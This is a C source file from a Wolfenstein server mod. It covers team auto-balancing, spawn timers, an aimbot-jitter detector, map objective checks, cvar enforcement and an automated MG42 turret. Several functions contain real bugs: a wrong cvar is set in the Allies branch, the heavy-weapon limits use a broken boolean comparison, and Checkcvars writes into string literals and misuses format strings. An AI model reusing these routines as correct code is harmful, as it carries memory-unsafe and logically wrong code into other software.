else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_RedDefaultSpawnTime ) );
// Allies
if ((BluePlayers) <= 10)
trap_Cvar_Set("g_bluelimbotime", "10000");
else if ((BluePlayers) <= 20)
trap_Cvar_Set("g_bluelimbotime", "20000");
else
trap_Cvar_Set( "g_redlimbotime", va( "%i000", g_BlueDefaultSpawnTime ) );
}
}
/*
==========
checkEvenTeams
Checks to see if teams are unbalanced
==========
*/
void checkEvenTeams(){
if (!g_autoTeamBalance.integer)
return;
if (g_gamestate.integer != GS_PLAYING)
return;
if (g_deathmatch.integer == 2)
return;
if(g_lockteams.integer)
return;
if(g_needBalance.integer)//we are already going to check, dont reset timer
return;
countPlayers();
if (((level.axisPlayers - level.alliedPlayers) > 1) || ((level.alliedPlayers - level.axisPlayers) > 1)){
trap_Cvar_Set( "g_needBalance", "1" );
trap_SendServerCommand(-1, va("chat \"console: ^5Teams will be balanced in ^315 ^5seconds\n\""));
level.balanceTime = level.time + 15000;
}
}
/*
==========
countPlayers
Records how many people are on allies + axis
==========
*/
void countPlayers(){
int i;
level.axisPlayers = 0;
level.alliedPlayers = 0;
for(i = 0; i < level.maxclients; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
level.axisPlayers++;
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
level.alliedPlayers++;
}
}
/*
==========
balanceTeams
Balances teams. Do this regardless of gamestate
==========
*/
void balanceTeams(){
int lowScoreClient = -1;
int lowScore=0;
int i;
while (((level.axisPlayers - level.alliedPlayers) > 1) || ((level.alliedPlayers - level.axisPlayers) > 1)){
countPlayers();
lowScoreClient = -1;
if ((level.axisPlayers - level.alliedPlayers) > 1){
for (i=0; i < level.maxclients; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam != TEAM_RED) // only want to move axis players
continue;
if(lowScoreClient == -1){
lowScoreClient = i;
lowScore = level.clients[i].ps.persistant[PERS_SCORE];
}else if (level.clients[i].ps.persistant[PERS_SCORE] < lowScore){
lowScoreClient = i;
lowScore = level.clients[i].ps.persistant[PERS_SCORE];
}
}
SetTeam( &g_entities[lowScoreClient], "b",qtrue);
trap_SendServerCommand(-1, va("chat \"console: %s ^7was forced to ^4Allies ^7to balance teams.\n\"",level.clients[lowScoreClient].pers.netname));
}
if ((level.alliedPlayers - level.axisPlayers) > 1){
for (i=0; i < level.maxclients; i++){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam != TEAM_BLUE) // only want to move allied players
continue;
if(lowScoreClient == -1){
lowScoreClient = i;
lowScore = level.clients[i].ps.persistant[PERS_SCORE];
}else if (level.clients[i].ps.persistant[PERS_SCORE] < lowScore){
lowScoreClient = i;
lowScore = level.clients[i].ps.persistant[PERS_SCORE];
}
}
SetTeam( &g_entities[lowScoreClient], "r",qtrue);
trap_SendServerCommand(-1, va("chat \"console: %s ^7was forced to ^1Axis ^7to balance teams.\n\"",level.clients[lowScoreClient].pers.netname));
}
}
trap_Cvar_Set( "g_needBalance", "0" );
}
/*
Aimbot decection
*/
int zbc_jittermax = 4;
int zbc_jittertime = 10;
int zbc_jittermove = 500;
qboolean zbc_ZbotCheck(gentity_t *ent, usercmd_t *ucmd){
int tog0, tog1;
if (ent->client->pers.connected != CON_CONNECTED){
return qfalse; // unconnected clients may have weird mouse movements
}
if (ent->client->sess.sessionTeam == TEAM_SPECTATOR)
return qfalse; // Spectators can aimbot all they want
zbc_jittermax = g_test1.integer;
zbc_jittertime = g_test2.integer;
zbc_jittermove = g_test3.integer;
tog0 = ent->zbc_tog;
ent->zbc_tog ^= 1;
tog1 = ent->zbc_tog;
if(ucmd->angles[0] == ent->zbc_angles[tog1][0] &&
ucmd->angles[1] == ent->zbc_angles[tog1][1] &&
ucmd->angles[0] != ent->zbc_angles[tog0][0] &&
ucmd->angles[1] != ent->zbc_angles[tog0][1] &&
abs(ucmd->angles[0] - ent->zbc_angles[tog0][0]) +
abs(ucmd->angles[1] - ent->zbc_angles[tog0][1]) >= zbc_jittermove)
{
if(level.time <= ent->zbc_jitter_last + 0.1)
{
if(!ent->zbc_jitter)
ent->zbc_jitter_time = level.time;
if(++ent->zbc_jitter >= zbc_jittermax)
return qtrue;
}
ent->zbc_jitter_last = level.time;
}
ent->zbc_angles[tog1][0] = ucmd->angles[0];
ent->zbc_angles[tog1][1] = ucmd->angles[1];
if(level.time > ent->zbc_jitter_time + zbc_jittertime)
ent->zbc_jitter = 0;
return qfalse;
}
/*=================
canRetake
returns true if: X objectives have not yet been destroyed
returns false if: X objectives have been destroyed
=================*/
qboolean canRetake(){
char mapName[MAX_QPATH];
trap_Cvar_VariableStringBuffer( "mapname", mapName, sizeof(mapName) );
if (!Q_stricmp(mapName, "mp_assault")){ // Hatch: 369 Warehouse: 511
if (((!g_entities[369].inuse) && (Q_stricmp(g_entities[369].classname, "func_explosive")))
&& ((!g_entities[511].inuse) && (Q_stricmp(g_entities[511].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "mp_beach")){ // Door: 108 Breach: 100
if (((!g_entities[108].inuse) && (Q_stricmp(g_entities[108].classname, "func_explosive")))
&& ((!g_entities[100].inuse) && (Q_stricmp(g_entities[100].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "mp_sub")){ // Door: 89 Filt: 86
if (((!g_entities[89].inuse) && (Q_stricmp(g_entities[89].classname, "func_explosive")))
&& ((!g_entities[86].inuse) && (Q_stricmp(g_entities[86].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "mp_village")){ // crypt: 77
if ((!g_entities[77].inuse) && (Q_stricmp(g_entities[77].classname, "func_explosive"))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "mp_ice")){ // service: 481 side wall: 75
if (((!g_entities[481].inuse) && (Q_stricmp(g_entities[481].classname, "func_explosive")))
&& ((!g_entities[75].inuse) && (Q_stricmp(g_entities[75].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "mp_rocket")){ // rubble: 117
if ((!g_entities[117].inuse) && (Q_stricmp(g_entities[117].classname, "func_explosive"))){
return qfalse;
}
}
if ((!Q_stricmp(mapName, "mp_dam")) || (!Q_stricmp(mapName, "mp_dam_small"))){ // Upper front: 641 Lower front: 395 Main: 638
if (((!g_entities[641].inuse) && (Q_stricmp(g_entities[641].classname, "func_explosive")))
&& ((!g_entities[395].inuse) && (Q_stricmp(g_entities[395].classname, "func_explosive")))
&& ((!g_entities[638].inuse) && (Q_stricmp(g_entities[638].classname, "func_explosive")))){
return qfalse;
}
}
if ((!Q_stricmp(mapName, "mp_tram")) || (!Q_stricmp(mapName, "mp_tram_small"))){ // lower door: 546
if ((!g_entities[546].inuse) && (Q_stricmp(g_entities[546].classname, "func_explosive"))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "tundra_rush_beta")){ // Gate: 177
if ((!g_entities[177].inuse) && (Q_stricmp(g_entities[177].classname, "func_explosive"))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "te_ufo")){ // south: 172 main: 301
if (((!g_entities[172].inuse) && (Q_stricmp(g_entities[172].classname, "func_explosive")))
&& ((!g_entities[301].inuse) && (Q_stricmp(g_entities[301].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "te_frostbite")){ // main: 254 service: 225
if (((!g_entities[254].inuse) && (Q_stricmp(g_entities[254].classname, "func_explosive")))
&& ((!g_entities[225].inuse) && (Q_stricmp(g_entities[225].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "axis_complex")){ // Flag door: 103 Main: 102
if (((!g_entities[103].inuse) && (Q_stricmp(g_entities[103].classname, "func_explosive")))
&& ((!g_entities[102].inuse) && (Q_stricmp(g_entities[102].classname, "func_explosive")))){
return qfalse;
}
}
if (!Q_stricmp(mapName, "te_escape2")){ // bridge: 428 lower: 418
if (((!g_entities[428].inuse) && (Q_stricmp(g_entities[428].classname, "func_explosive")))
&& ((!g_entities[418].inuse) && (Q_stricmp(g_entities[418].classname, "func_explosive")))){
return qfalse;
}
}
return qtrue;
}
void checkHexedDLL(){
char protocol[16];
char version[64];
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: S4ND_Init: Start");
// "S4NDMoD 2.4.0"
trap_Cvar_Set( "gamename", "S4NDMoD 2.4.1");
// MODURL "^3WWW.S4NDMoD.COM"
trap_Cvar_Set( "^3MOD URL", "^3Ask Nobo");
// running 1.1c or 1.2 (fokke)
// check protocol 57 for that ^^
trap_Cvar_VariableStringBuffer( "protocol", protocol, sizeof(protocol) );
trap_Cvar_VariableStringBuffer( "version", version, sizeof(version) );
if (!Q_stricmp(protocol, "57")){ // 1.0
if ((strstr(version, "Wolf 1.1c") == NULL) && (strstr(version, "Wolf 1.2") == NULL) && (strstr(version, "Wolf 1.3") == NULL)) // NoCDKEy - let more people play the dying game.
Com_Error(ERR_DROP, "Servers MUST run executable version 1.1c or 1.3 available at www.s4ndmod.com" );
}
if(g_S4NDdebug.integer)
S4ND_Log("DEBUG: S4ND_Init: End");
}
/*=========================
setupCvars
Sets cvars that need to be used by the game.
//=======================*/
void setupCvars(){
char ch_fps[8]; // Ensures that servers have nice multiples of 20 for their sv_fps
int fps;
trap_Cvar_VariableStringBuffer( "sv_fps", ch_fps, sizeof(ch_fps) );
fps = atoi( ch_fps );
// if ((fps % 20 != 0) || (fps < 20)){
trap_Cvar_Set( "sv_fps", "20" ); // <NAME> - Lock FPS to 20. This reduces bot load on server from 40 fps (maybe?:S) and doesnt break the game so much.
// } // For those that are observent, you can still change it after a round begins if you have people activly downloading :D
// Reset airstrike check stuff so that someone can throw it the first time.
level.axisAirstrikeCounter = 0;
level.alliedAirstrikeCounter = 0;
level.LastAirstrikeCheck = 0;
level.axisMinesAvailable = g_mines.integer;
level.alliedMinesAvailable = g_mines.integer;
trap_Cvar_Set( "sv_maxrate", "25000" ); // Martin - Changed to allow clients on large servers to up theirs to keep a stable connection.
// Clients with 25k will not take more than that still. Datacenters can easily handle this much bandwith.
trap_Cvar_Set( "sv_minping", "0" );
trap_Cvar_Set( "r_vertexlight", "1" ); //I think this will fix the vertexlight prob
trap_Cvar_Set( "cg_predictitems", "0" ); //Make sure server has predict off so clients get right setting set for them :)
trap_Cvar_Set( "r_znear", "1" );
trap_Cvar_Set( "cl_anonymous", "0" );
trap_Cvar_Set( "r_depthbits", "24" ); // Prevent long distance wallhack
trap_Cvar_Set( "cl_timenudge", "0" );
updateUptime(); // set our time server has been running for in systeminfo
// Prevent too much ammo in gun bug (where dropping causes more ammo & leads to server crash)
if (g_medExtraClips.integer > 9)
trap_Cvar_Set( "g_medExtraClips", "9" );
if (g_engExtraClips.integer > 9)
trap_Cvar_Set( "g_engExtraClips", "9" );
if (g_ltExtraClips.integer > 9)
trap_Cvar_Set( "g_ltExtraClips", "9" );
if (g_soldExtraClips.integer > 9)
trap_Cvar_Set( "g_soldExtraClips", "9" );
if (g_venomExtraClips.integer > 3)
trap_Cvar_Set( "g_venomExtraClips", "3" );
if (g_mauserExtraClips.integer > 3)
trap_Cvar_Set( "g_mauserExtraClips", "3" );
// So we dont have super unbalanced teams after warmup is done (players d/c or dont have map...)
if(g_gamestate.integer != GS_WARMUP)
checkEvenTeams();
}
/*=========================
isRevivingMedic
returns true if the medic appears like they will revive:
1. Is within the usual radius, alive, etc
2. **Has a syringe OUT (wp # 26)
They will skip the current spawn cycle if both are met.
//=======================*/
qboolean isRevivingMedic(gentity_t *self) {
int i, medic=-1;
gclient_t *cl;
vec3_t start, end;
vec3_t temp;
trace_t tr;
float bestdist=1024, dist;
//self->client->ps.viewlocked_entNum = 0;
//self->client->ps.viewlocked = 0;
//self->client->ps.stats[STAT_DEAD_YAW] = 999;
VectorCopy( self->s.pos.trBase, start );
start[2] += self->client->ps.viewheight;
for( i = 0; i < level.numConnectedClients; i++ ) {
cl = &level.clients[ level.sortedClients[i] ];
if( level.sortedClients[i] == self->client->ps.clientNum ) {
continue;
}
if( cl->sess.sessionTeam != self->client->sess.sessionTeam ) {
continue;
}
if( cl->ps.pm_type == PM_DEAD ) {
continue;
}
// zinx - limbo'd players are not PM_DEAD or STAT_HEALTH <= 0.
// and we certainly don't want to lock to them
// fix for bug #345
if( cl->ps.pm_flags & PMF_LIMBO ) {
continue;
}
if( cl->ps.stats[ STAT_HEALTH ] <= 0 ) {
continue;
}
// tjw: ps.stats updated before spawn?
//if( cl->ps.stats[ STAT_PLAYER_CLASS ] != PC_MEDIC ) {
if(cl->sess.playerType != PC_MEDIC) {
continue;
}
VectorCopy( g_entities[level.sortedClients[i]].s.pos.trBase, end );
end[2] += cl->ps.viewheight;
trap_Trace (&tr, start, NULL, NULL, end, self->s.number, CONTENTS_SOLID);
if( tr.fraction < 0.95 ) {
continue;
}
VectorSubtract( end, start, end );
dist = VectorNormalize( end );
if ( dist < bestdist ) {
medic = cl->ps.clientNum;
vectoangles( end, temp );
self->client->ps.stats[STAT_DEAD_YAW] = temp[YAW];
bestdist = dist;
}
}
if ( medic >= 0 ) {
//self->client->ps.viewlocked_entNum = medic;
//self->client->ps.viewlocked = 7;
if (level.clients[medic].ps.weapon == 26) // more than likley going to revive now..
return qtrue;
}
return qfalse;
}
/*=========================
ETPUB Binoc War
//=======================*/
int QDECL G_SortPlayersByBinocs( const void* a, const void* b ){
gclient_t* cla = &level.clients[ *((int*)a) ];
gclient_t* clb = &level.clients[ *((int*)b) ];
int aBinocs, bBinocs;
aBinocs = cla->pers.numBinocs;
bBinocs = clb->pers.numBinocs;
if(aBinocs > bBinocs) {
return -1;
}
if(bBinocs > aBinocs) {
return 1;
}
return 0;
}
/*=========================
ETPUB Binoc War Part 2
//=======================*/
void G_BinocMasters(){
int binocMasters[MAX_CLIENTS];
int i, countConn = 0;
//char msg[MAX_STRING_CHARS];
gclient_t *cl;
if(g_goldrush.integer)
return;
if(g_SniperMode.integer)
return;
level.LastBinocWarTime = level.time;
for ( i = 0; i < level.numConnectedClients; i++ ) {
cl = level.clients + level.sortedClients[i];
if( cl->sess.sessionTeam != TEAM_RED && cl->sess.sessionTeam != TEAM_BLUE ) {
continue;
}
binocMasters[countConn++] = level.sortedClients[i];
}
qsort(binocMasters, countConn, sizeof(int), G_SortPlayersByBinocs );
//msg[0] = '\0';
if ( countConn > 0 ) {
cl = level.clients + binocMasters[0];
if(cl->pers.numBinocs > 0) {
trap_SendServerCommand(-1, va("chat \"^3*** ^4Binocular War Stats:\""));
trap_SendServerCommand(-1, va("chat \"^3*** ^41. ^7%s ^4(^7%i^4)\"", cl->pers.netname, cl->pers.numBinocs));
}
}
if ( countConn > 1 ) {
cl = level.clients + binocMasters[1];
if(cl->pers.numBinocs > 0) {
trap_SendServerCommand(-1, va("chat \"^3*** ^42. ^7%s ^4(^7%i^4)\"", cl->pers.netname, cl->pers.numBinocs));
}
}
if ( countConn > 2 ) {
cl = level.clients + binocMasters[2];
if(cl->pers.numBinocs > 0) {
trap_SendServerCommand(-1, va("chat \"^3*** ^43. ^7%s ^4(^7%i^4)\"", cl->pers.netname, cl->pers.numBinocs));
}
}
/*if(msg[0]) {
if (!endOfMatch)
AP(va("cpm \"%s\n\"",msg));
else
AP(va("chat \"%s\" -1",msg));
}*/
//return;
}
/*=========================
updateUptime
Sets a cvar in serverinfo letting users know how long its been up..
mostly useful for admins
//=======================*/
void updateUptime(){
//if(!g_uptime.integer)
// return;
int secs = level.time / 1000;
int mins = (secs / 60) % 60;
int hours = (secs / 3600) % 24;
int days = (secs / (3600 * 24));
//string uptime = ("%d D, %d H, %d M", days
/* SPC( va("%s ^/uptime: ^2%d ^7day%s ^2%d ^7hours ^2%d ^7minutes",
sv_hostname.string, days,
(days != 1 ? "s" : ""),
hours, mins) );*/
trap_Cvar_Set( "Uptime", va("%i Days, %i Hours, %i Minutes", days, hours, mins));
//return qtrue;
}
/*=========================
Same-Team timer
//=======================*/
void SpawnTimer(gentity_t* ent){
int testtime;
if (g_spawnTimer.integer == 1){
if (ent->client->sess.sessionTeam == TEAM_BLUE){
testtime = (level.time - ent->client->pers.spawnTimerStartTime) % g_redlimbotime.integer;
if (g_redlimbotime.integer - testtime == g_redlimbotime.integer){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^1AXIS ^3SPAWN!\"", ent->client->pers.netname));
}else if ( g_redlimbotime.integer - testtime == 5000){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^1Axis ^7spawn in 5 seconds\"", ent->client->pers.netname));
}else if ( g_redlimbotime.integer - testtime == 3000){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^1Axis ^7spawn in 3 seconds\"", ent->client->pers.netname));
}
}else if (ent->client->sess.sessionTeam == TEAM_RED){
testtime = (level.time - ent->client->pers.spawnTimerStartTime) % g_bluelimbotime.integer;
if (g_bluelimbotime.integer - testtime == g_bluelimbotime.integer){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^4ALLIES ^3SPAWN!\"", ent->client->pers.netname));
}else if ( g_bluelimbotime.integer - testtime == 5000){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^4Allies ^7spawn in 5 seconds\"", ent->client->pers.netname));
}else if ( g_bluelimbotime.integer - testtime == 3000){
trap_SendServerCommand(ent-g_entities, va("chat \"%s^7: ^4Allies ^7spawn in 3 seconds\"", ent->client->pers.netname));
}
}
}else if (g_spawnTimer.integer == 2){
if (ent->client->sess.sessionTeam == TEAM_BLUE){
testtime = (level.time - ent->client->pers.spawnTimerStartTime) % g_redlimbotime.integer;
if (g_redlimbotime.integer - testtime == g_redlimbotime.integer){
G_TeamCommand( TEAM_BLUE, va("chat \"%s^7: ^1AXIS ^3SPAWN!\"", ent->client->pers.netname));
}else if ( g_redlimbotime.integer - testtime == 5000){
G_TeamCommand( TEAM_BLUE, va("chat \"%s^7: ^1Axis ^7spawn in 5 seconds\"", ent->client->pers.netname));
}else if ( g_redlimbotime.integer - testtime == 3000){
G_TeamCommand( TEAM_BLUE, va("chat \"%s^7: ^1Axis ^7spawn in 3 seconds\"", ent->client->pers.netname));
}
}else if (ent->client->sess.sessionTeam == TEAM_RED){
testtime = (level.time - ent->client->pers.spawnTimerStartTime) % g_bluelimbotime.integer;
if (g_bluelimbotime.integer - testtime == g_bluelimbotime.integer){
G_TeamCommand( TEAM_RED, va("chat \"%s^7: ^4ALLIES ^3SPAWN!\"", ent->client->pers.netname));
}else if ( g_bluelimbotime.integer - testtime == 5000){
G_TeamCommand( TEAM_RED, va("chat \"%s^7: ^4Allies ^7spawn in 5 seconds\"", ent->client->pers.netname));
}else if ( g_bluelimbotime.integer - testtime == 3000){
G_TeamCommand( TEAM_RED, va("chat \"%s^7: ^4Allies ^7spawn in 3 seconds\"", ent->client->pers.netname));
}
}
}
ent->client->pers.lastSpawnTimerCheck = level.time;
}
/*================
setSeedPings
Sets random number for a bot's ping.
The seed will give it an initial 'ping' and then will fluxuatee +/- from it (hopefully :D)
================*/
void setSeedPings(gentity_t* ent){
ent->client->pers.seedPing = ((rand() % 70) + 30); // 30 to 100 for pings
}
/*=========================
Auto Even teams + Heavy weapons
//=======================*/
void AutoWeaponsConfig(gentity_t* ent){
int i;
int RedPlayers = 0;
int BluePlayers = 0;
//Call this out here, cause if we got this far we are doing one or the other, no need to do it twice... (morons :D)
for ( i = 0 ; i < level.maxclients ; i++ ){ //for(i=0; i<MAX_CLIENTS; i++){ //AGent - Whats the diff?? :S
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_BLUE)
BluePlayers++;
if (level.clients[i].sess.sessionTeam == TEAM_RED)
RedPlayers++;
}
if (g_AutoHeavyWeapons.integer){
//Panz Loopies
if ((RedPlayers || BluePlayers) > 6)
trap_Cvar_Set( "g_maxPf", "1" );
else if ((RedPlayers || BluePlayers) > 16)
trap_Cvar_Set( "g_maxPf", "2" );
else if ((RedPlayers || BluePlayers) > 24)
trap_Cvar_Set( "g_maxPf", "3" );
else if ((RedPlayers || BluePlayers) > 30)
trap_Cvar_Set( "g_maxPf", "4" );
else //
trap_Cvar_Set( "g_maxPf", "0" );
//Flame Loopies [Yea i know you hate em, ...] We should fix what happens when a flamer gets kicked && attacking lol
// Maybe check to see if the attacker is con_connected, otherwise do 0 dmg
if ((RedPlayers || BluePlayers) > 10)
trap_Cvar_Set( "g_maxFlamer", "1" );
else if ((RedPlayers || BluePlayers) > 20)
trap_Cvar_Set( "g_maxFlamer", "2" );
else if ((RedPlayers || BluePlayers) > 30)
trap_Cvar_Set( "g_maxFlamer", "3" );
else
trap_Cvar_Set( "g_maxFlamer", "0" );
}
/*
if (g_AutoTeams.integer){
if ((RedPlayers - BluePlayers) >= 2){ //They are 2 different :(
for ( i = 0 ; i < level.maxclients ; i++ ){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_RED){ //We found someone who can be switched
// trap_SendConsoleCommand(EXEC_APPEND, va("forceteam %i b\n", level.clients[i]));
trap_SendServerCommand(-1, va("print \"Server forced %s ^7to Allies to balance teams\n\"", level.clients[i].pers.netname));
return; //Does this end the loop???? (yes im retarted)
}
}
}
if ((BluePlayers - RedPlayers) >= 2){
for ( i = 0 ; i < level.maxclients ; i++ ){
if (level.clients[i].pers.connected != CON_CONNECTED)
continue;
if (level.clients[i].sess.sessionTeam == TEAM_BLUE){
// trap_SendConsoleCommand(EXEC_APPEND, va("forceteam %i r\n", level.clients[i]));//Put this motherfucker on the team
trap_SendServerCommand(-1, va("print \"Server forced %s ^7to Axis to balance teams\n\"", level.clients[i].pers.netname));
return;
}
}
}*/
}
//END==============
void Checkcvars(gentity_t *ent,char *cvar, int cvaris)
{
char * checkcvar;
char * cvarto;
char * cvarfrom;
char * buffer;
FILE * cvars;
qboolean badcvars = qfalse;
cvars = fopen("cvars.txt","r");
checkcvar ="";
cvarto = "";
cvarfrom="";
buffer="";
if(cvars){
while (fgets(buffer,1024,cvars)!=NULL){
stripcvars(buffer, checkcvar,cvarfrom , cvarto);
if(!strcmp(checkcvar,cvar)){
if(atoi(va("%s",cvaris)) < atoi(va("%s",cvarfrom)) || atoi(va("%s",cvaris)) > atoi(va("%s",cvarto))){
trap_SendServerCommand(ent-g_entities, va("print \" ^1WARNING^7: ^3%s must be between or equal to %s and %s, your setting is %i\n",cvar, cvarfrom, cvarto, cvaris));
badcvars = qtrue;
}
}
}
fclose(cvars);
}
if(badcvars)
trap_DropClient(ent-g_entities, "cvar violations: check your console for more info.");
}
int muzzleflashmodel;
void mg42_use ( gentity_t * ent , gentity_t * other , gentity_t * activator ) ;
void mg42_die ( gentity_t * self , gentity_t * inflictor , gentity_t * attacker , int damage , int mod ) ;
void mg42_think ( gentity_t * self ) ;
void Flak_Animate ( gentity_t * ent ) ;
void mg42_track ( gentity_t * self , gentity_t * other ) ;
void mg42_touch ( gentity_t * self , gentity_t * other , trace_t * trace ) ;
qboolean MyMG42Visible (gentity_t *self, gentity_t *other)
{
vec3_t selfView, otherView; //basically stores the locations of the players' eyes
trace_t tr; //used in performing the collision info
gentity_t *traceEnt; //holds the entity returned by the trace function
VectorCopy(self->r.currentOrigin, selfView); //copy the bot's origin to this variable
VectorCopy(other->r.currentOrigin, otherView); //copy the target's origin
otherView[2] += other->client->ps.viewheight; //add the target's viewheight
//check if a shot from the bot's viewheight to the player's viewheight would hit
trap_Trace (&tr, selfView, NULL, NULL, otherView, self->s.number, MASK_SHOT);
traceEnt = &g_entities[tr.entityNum]; //set traceEnt to the entity the shot would hit
if (traceEnt == other) //if it would hit the player, return true
return qtrue;
return qfalse; //it would hit something other than the player (or nothing) so return false
}
/*
==========
FindEnemy
==========
*/
qboolean MG42FindEnemy(gentity_t *ent)
{
int i;
gentity_t *targ;
gentity_t *bestenemy = NULL;
float bestweight = -1;
float weight;
vec3_t dist;
int viewDist;
// int reactionTime;
viewDist = 99999;
//loop through all the clients to see if the MG42 can see any enemies
for(i = 0; i < level.maxclients; i++)
{
targ = &g_entities[i];
//make sure the client is a valid player (and in use)
if (!targ->inuse || !targ->client)
continue;
//make sure the player isn't the bot or anyone on his team
if (targ->client->sess.sessionTeam == ent->parent->client->sess.sessionTeam)
continue;
//make sure the player isn't dead or spectating
if (((targ->health <= 0) || (targ->client->ps.pm_flags & PMF_LIMBO)) || targ->client->sess.sessionTeam == TEAM_SPECTATOR) //not dead or spectating...
continue;
// Check if the bot can see the enemy from this position
if (MyMG42Visible(ent, targ))
{
// Find the distance between bot and enemy
VectorSubtract(ent->r.currentOrigin, targ->r.currentOrigin, dist);
//store it so we can compare
weight = VectorLength(dist);
//if this enemy is too far away to be seen, skip him
if (weight > viewDist)
continue;
//if the new distance is the shortest we have found so far
if ((weight < bestweight) || (bestweight == -1))
{
//set the new shortest distance and the new 'best' enemy
bestweight = weight;
bestenemy = targ; //this loop (and this line) set 'bestenemy' to the closest visible enemy
}
}
}
//if the bot found an enemy
if(bestenemy)
{
ent->enemy = bestenemy; //set the enemy to best ememy
return qtrue; //return yes, he can see an enemy
}
return qfalse; //no, the bot did not find any enemies
}
qboolean DoMG42Aim(gentity_t *ent){
vec3_t vec, enemyvec,angles;
if(!MG42FindEnemy(ent))//check for an enemy :D
return qfalse;
//Get Enemy Posistion
VectorCopy(ent->enemy->r.currentOrigin, enemyvec);
//if enemy is crouched aim lower
if (ent->enemy->client->ps.pm_flags & PMF_DUCKED)
enemyvec[2] -= ent->enemy->client->ps.crouchViewHeight;
//find the direction to the enemy
VectorSubtract(enemyvec, ent->r.currentOrigin, vec);
//turn to face the enemy- and own him :)
vectoangles(vec, angles);
G_SetAngle (ent, angles);
return qtrue;
}
static vec3_t forward, right, up;
static vec3_t muzzle;
/*
==============
Fire_Lead
==============
*/
void mg42_muzzleflash (gentity_t *ent);
//----(SA) added 'activator' so the bits that used to expect 'ent' to be the gun still work
void AUTOMG42_Fire_Lead(gentity_t *ent, gentity_t *activator, float spread, int damage) {
trace_t tr;
vec3_t end;
float r;
float u;
gentity_t *tent;
gentity_t *traceEnt;
//qboolean isflak = qfalse;
r = crandom()*spread;
u = crandom()*spread;
ent->s.eFlags |= EF_MG42_ACTIVE;
//activator->s.eFlags |= EF_MG42_ACTIVE;
VectorMA (muzzle, 8192, forward, end);
VectorMA (end, r, right, end);
VectorMA (end, u, up, end);
trap_Trace (&tr, muzzle, NULL, NULL, end, ent->s.number, MASK_SHOT);
if ( tr.surfaceFlags & SURF_NOIMPACT) {
mg42_muzzleflash (ent);
G_AddEvent( ent, EV_FIRE_WEAPON_MG42, 0 );
// JPW NERVE added this event so tracers work if you're shooting mg42 into skybox, otherwise shouldn't ever see the event double-up
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_WALL );
tent->s.otherEntityNum = ent->s.number;
tent->s.otherEntityNum2 = ent->s.number;
// jpw
return;
}
traceEnt = &g_entities[ tr.entityNum ];
// snap the endpos to integers, but nudged towards the line
SnapVectorTowards( tr.endpos, muzzle );
// send bullet impact
if ( traceEnt->takedamage && traceEnt->client ) {
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_FLESH );
tent->s.eventParm = traceEnt->s.number;
tent->s.otherEntityNum = ent->s.number;
if( LogAccuracyHit( traceEnt, ent ) ) {
ent->client->ps.persistant[PERS_ACCURACY_HITS]++;
}
} else {
// Ridah, bullet impact should reflect off surface
vec3_t reflect;
float dot;
tent = G_TempEntity( tr.endpos, EV_BULLET_HIT_WALL );
dot = DotProduct( forward, tr.plane.normal );
VectorMA( forward, -2*dot, tr.plane.normal, reflect );
VectorNormalize( reflect );
tent->s.eventParm = DirToByte( reflect );
tent->s.otherEntityNum = ent->s.number;
tent->s.otherEntityNum2 = ent->s.number; // (SA) store the user id, so the client can position the tracer
}
if ( traceEnt->takedamage) {
G_Damage( traceEnt, ent, activator, forward, tr.endpos,
damage, 0, MOD_MACHINEGUN);
}
mg42_muzzleflash (ent);
G_AddEvent( ent, EV_FIRE_WEAPON_MG42, 0 );
}
void auto_mg42_think( gentity_t * self ){
//vec3_t forward, right, up, muzzle;
int spread, firerate;
vec3_t newviewangles;
spread = 150;
firerate= 150;
self->nextthink = level.time+50;
self->think = auto_mg42_think;
if(self->s.frame != 0)
return;
if(g_entities[self->mg42BaseEnt].health <= 200){//once mg42 drops below 100 health lets make it show some stress
self->s.eFlags |= EF_SMOKING;// emit black smoke
spread = 200;//make the spread get worse
firerate= 200;//slow this down
}
if(g_entities[self->mg42BaseEnt].health <= 100){//once mg42 drops below 75 health lets make it show some stress
self->s.eFlags &= ~EF_SMOKING;
self->s.eFlags |= EF_SMOKINGBLACK;// emit thick black smoke
spread = 300;//make the spread get worse
firerate= 250;////slow this down
}
if(DoMG42Aim(self)){
if((level.time - self->last_move_time) >= firerate) {
self->last_move_time = level.time;
AngleVectors (self->s.apos.trBase, forward, right, up);
VectorCopy (self->s.pos.trBase, muzzle);
VectorMA (muzzle, 16, up, muzzle);
self->s.eFlags |= EF_MG42_ACTIVE;
// snap to integer coordinates for more efficient network bandwidth usage
SnapVector( muzzle);
AUTOMG42_Fire_Lead(self, self->parent, spread, 18);
}
self->count = level.time;
}else{//no target so... lets just do somethin for the hell of it
if(level.time - self->count > 3000 || self->count == 0){
VectorCopy(self->r.currentAngles,newviewangles);
//this will stop it from being so damn choppy.
if(level.time - self->count2 > 10000){
if(self->count3 == 1)
self->count3 = 0;
else
self->count3 = 1;
self->count2 = level.time;
}
if(self->count3 == 1)
newviewangles[YAW]-=2;//lets spin it around :D
else
newviewangles[YAW]+=2;
